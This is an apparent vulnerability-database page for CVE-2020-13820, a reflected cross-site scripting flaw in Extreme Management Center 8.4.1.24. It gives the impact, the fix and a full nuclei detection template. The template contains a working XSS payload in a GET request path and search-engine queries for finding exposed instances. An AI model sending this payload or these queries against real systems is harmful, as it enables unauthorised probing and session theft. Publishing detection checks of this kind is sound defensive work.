HexBrain

Browse / CVEs / CVE-2020-13820

CVE-2020-13820· extremenetworks / extreme management center· CWE-79

Extreme Management Center 8.4.1.24 - Cross-Site Scripting

mediumseverity
6.1CVSS score
4.2%likelihood of exploitation, next 30 days
91%of all CVEs are less likely
Readycheck to confirm it

Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.

How to confirm it

Send: GET {{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)
Positive when: contains "autofocus onfocus='alert(document.domain)" and "Extreme Management Center" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-13820 -u <target>

The full check
id: CVE-2020-13820

info:
  name: Extreme Management Center 8.4.1.24 - Cross-Site Scripting
  author: tess
  severity: medium
  description: |
    Extreme Management Center 8.4.1.24 contains a cross-site scripting vulnerability via a parameter in a GET request. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or upgrade to a non-vulnerable version of Extreme Management Center.
  reference:
    - https://medium.com/@0x00crash/xss-reflected-in-extreme-management-center-8-4-1-24-cve-2020-13820-c6febe951219
    - https://gtacknowledge.extremenetworks.com/articles/Solution/000051136
    - https://gtacknowledge.extremenetworks.com
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13820
    - https://documentation.extremenetworks.com/release_notes/netsight/XMC_8.5.0_Release_Notes.pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13820
    cwe-id: CWE-79
    epss-score: 0.04178
    epss-percentile: 0.90994
    cpe: cpe:2.3:a:extremenetworks:extreme_management_center:8.4.1.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: extremenetworks
    product: extreme_management_center
    shodan-query:
      - title:"Extreme Management Center"
      - http.title:"extreme management center"
    fofa-query: title="extreme management center"
    google-query: intitle:"extreme management center"
  tags: cve2020,cve,xss,extremenetworks,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/OneView/view/center?a%27+type%3d+%27text%27+autofocus+onfocus%3d%27alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "autofocus onfocus='alert(document.domain)"
          - "Extreme Management Center"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from